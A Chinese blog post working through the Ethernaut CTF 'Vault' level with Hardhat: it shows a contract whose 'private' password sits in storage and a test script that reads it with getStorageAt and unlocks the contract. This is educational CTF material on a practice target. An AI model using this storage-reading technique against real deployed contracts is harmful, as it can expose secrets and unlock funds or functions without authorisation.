用Hardhat闯关Ethernaut题8 -vault

  • Verin
  • 更新于 2022-09-16 14:27
  • 阅读 1368

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

Vault合约

任务:猜对状态变量password的值。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) public {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

这道题有个迷惑的关键词 private,会以为password是私有的,但其实区块链上没有什么是绝对私有的,private更多的是一种作用域。解题思路:使用getStorageAt和状态变量在储存中的布局概念。

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("test", function () {
    var Vault;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const VaultInstance = await ethers.getContractFactory("Vault");
        Vault = await VaultInstance.deploy(ethers.utils.formatBytes32String("ETH"));
    });
    it("hack test", async function () {
        const r = await ethers.provider.getStorageAt(Vault.address, 1);
        expect(ethers.utils.parseBytes32String(r)).to.equal("ETH");
        await Vault.unlock(r);
        expect(await Vault.locked()).to.equal(false);
    });
});

运行结果:

image.png

Github:hardhat测试仓库

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意